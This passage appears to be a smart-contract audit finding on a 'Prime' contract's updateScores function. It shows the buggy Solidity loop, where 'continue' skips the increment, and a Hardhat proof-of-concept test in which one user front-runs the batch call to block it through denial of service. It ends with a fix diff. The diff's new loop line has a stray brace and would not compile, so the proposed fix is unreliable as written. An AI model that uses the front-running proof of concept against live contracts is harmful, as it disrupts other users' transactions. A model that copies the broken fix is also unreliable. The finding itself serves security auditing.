    function updateScores(address[] memory users) external {
        if (pendingScoreUpdates == 0) revert NoScoreUpdatesRequired();
        if (nextScoreUpdateRoundId == 0) revert NoScoreUpdatesRequired();

        for (uint256 i = 0; i < users.length; ) {
            address user = users[i];

            if (!tokens[user].exists) revert UserHasNoPrimeToken();
            if (isScoreUpdated[nextScoreUpdateRoundId][user]) continue;
            ...
            unchecked {
                i++;
            }

            emit UserScoreUpdated(user);
        }
    }
    it("dos_updateScores", async () => {
      //setup 3 users
      await prime.issue(true, [user1.getAddress(), user2.getAddress(), user3.getAddress()]);
      await xvs.connect(user1).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user1).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await xvs.connect(user2).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user2).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await xvs.connect(user3).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user3).deposit(xvs.address, 0, bigNumber18.mul(1000));
      //change alpha
      await prime.updateAlpha(1, 5);
      //user 1 frontruns updateScores([many users]) with updateScores([solely user3])
      await prime.connect(user1).updateScores([user3.getAddress()])
      //frontran call should revert
      await expect(prime.updateScores([user1.getAddress(), user2.getAddress(), user3.getAddress()])).to.be.reverted;
    });
    function updateScores(address[] memory users) external {
        ...
+       for (uint256 i = 0; i < users.length; ++i} ) {
-       for (uint256 i = 0; i < users.length; ) {
            ...
-           unchecked {
-               i++;
-           }
            ...
        }
    }
